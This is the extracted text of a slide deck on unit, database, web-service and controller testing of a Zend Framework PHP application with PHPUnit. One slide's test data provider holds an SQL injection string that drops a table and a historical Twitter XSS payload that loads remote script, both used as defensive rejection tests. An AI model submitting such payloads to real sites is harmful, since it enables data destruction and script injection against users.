  • 44. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px; "onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testModelRejectsBadData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
  • 46. Modify our model protected $_filters; protected $_validators; public function __construct($params = null) { $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); } }
  • 47. Modify setters: Id & name public function setId($id) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this; } public function setFullName($fullName) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this; }
  • 48. Email & website public function setEmailAddress($emailAddress) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this; } public function setWebsite($website) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this; }
  • 49. and comment public function setComment($comment) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this; }
  • 52. Integration Testing •- database specific functionality triggers - constraints - stored procedures - sharding/scalability • data input/output - correct encoding of data - transactions execution and rollback
  • 53. Points of concern •- beware of automated data types auto increment sequence ID’s - default values like CURRENT_TIMESTAMP • beware of time related issues - timestamp vs. datetime - UTC vs. local time
  • 54. The domain Model • Model object • Mapper object • Table gateway object Read more about it
  • 55. Change our test class class Application_Model_CommentTest extends PHPUnit_Framework_TestCase becomes class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  • 56. Setting DB Testing up protected $_connectionMock; public function getConnection() { if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; } } public function getDataSet() { return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); }
  • 57. initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 58. Testing SELECT public function testDatabaseCanBeRead() { $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 59. selectDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 60. Testing UPDATE public function testDatabaseCanBeUpdated() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 61. updateDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 62. Testing DELETE public function testDatabaseCanDeleteAComment() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 63. deleteDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 64. Testing INSERT public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 65. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 69. Testing INSERT w/ filter public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs); }
  • 70. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 73. Web services remarks •- you need to comply with an API that will be your reference •- you cannot always make a test-call paid services per call - test environment is “offline” - network related issues
  • 76. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  • 77. JoindinTest public function testJoindinCanGetUserDetails() { $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 79. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  • 80. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  • 81. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s ☹
  • 82. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s ☹
  • 85. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  • 86. JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</ last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 87. JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string> </response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 91. Setting up ControllerTest <?php class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); } }
  • 92. Testing if form is on page public function testIndexAction() { $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1); }
  • 93. Test processing public function testProcessAction() { $testData = array ( 'name' => 'testUser', 'mail' => 'test@example.com', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']); }
  • 94. REMARK •- data providers can be used to test valid data - to test invalid data • but we know it’s taken care of our model - just checking for error messages in form
  • 95. Test if we hit home public function testSuccessAction() { $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }
  • 101. • unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote
  • 102. Thank you • source code: http://github.com/DragonBe/zftest • your rating: http://joind.in/3381 •- follow me: twitter: @DragonBe - facebook: DragonBe Please use joind.in for feedback

Editor's Notes

  1. \n
  2. \n
  3. \n
  4. \n
  5. \n
  6. \n
  7. \n
  8. \n
  9. \n
  10. \n
  11. \n
  12. \n
  13. \n
  14. \n
  15. \n
  16. \n
  17. \n
  18. \n
  19. \n
  20. \n
  21. \n
  22. \n
  23. \n
  24. \n
  25. \n
  26. \n
  27. \n
  28. \n
  29. \n
  30. \n
  31. \n
  32. \n
  33. \n
  34. \n
  35. \n
  36. \n
  37. \n
  38. \n
  39. \n
  40. \n
  41. \n
  42. \n
  43. \n
  44. \n
  45. \n
  46. \n
  47. \n
  48. \n
  49. \n
  50. \n
  51. \n
  52. \n
  53. \n
  54. \n
  55. \n
  56. \n
  57. \n
  58. \n
  59. \n
  60. \n
  61. \n
  62. \n
  63. \n
  64. \n
  65. \n
  66. \n
  67. \n
  68. \n
  69. \n
  70. \n
  71. \n
  72. \n
  73. \n
  74. \n
  75. \n
  76. \n
  77. \n
  78. \n
  79. \n
  80. \n
  81. \n
  82. \n
  83. \n
  84. \n
  85. \n
  86. \n
  87. \n
  88. \n
  89. \n
  90. \n
  91. \n
  92. \n
  93. \n
  94. \n
  95. \n
  96. \n
  97. \n
  98. \n
  99. \n
  100. \n
  101. \n